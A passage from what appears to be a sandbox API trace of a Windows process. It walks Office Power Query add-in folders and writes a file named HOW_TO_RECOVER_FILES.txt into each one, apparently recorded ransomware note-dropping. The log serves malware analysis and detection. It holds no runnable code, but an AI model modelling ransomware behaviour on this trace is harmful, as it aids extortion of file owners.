ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.707] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.707] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa39cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa39cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.707] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.707] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1920897, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1920897, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.707] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.708] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0213.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu", lpFilePart=0x0) returned 0x68 [0213.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.709] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa39cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa39cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1920897, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1920897, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.710] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1920897, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1920897, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0213.710] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0213.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0213.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0213.713] GetFileType (hFile=0x808) returned 0x1 [0213.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0213.713] GetFileType (hFile=0x808) returned 0x1 [0213.714] WriteFile (in: hFile=0x808, lpBuffer=0x3521890*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3521890*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0213.715] CloseHandle (hObject=0x808) returned 1 [0213.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi", lpFilePart=0x0) returned 0x68 [0213.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.716] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x595a0ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x595a0ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59cc74e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.717] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.717] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi", lpFilePart=0x0) returned 0x68 [0213.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x595a0ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x595a0ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59cc74e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x595a0ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x595a0ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59cc74e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0213.719] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0213.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0213.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0213.722] GetFileType (hFile=0x808) returned 0x1 [0213.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0213.722] GetFileType (hFile=0x808) returned 0x1 [0213.723] WriteFile (in: hFile=0x808, lpBuffer=0x35350a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35350a8*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0213.724] CloseHandle (hObject=0x808) returned 1 [0213.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr", lpFilePart=0x0) returned 0x68 [0213.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.725] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.725] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.725] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.725] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.726] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.726] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.726] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr", lpFilePart=0x0) returned 0x68 [0213.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, 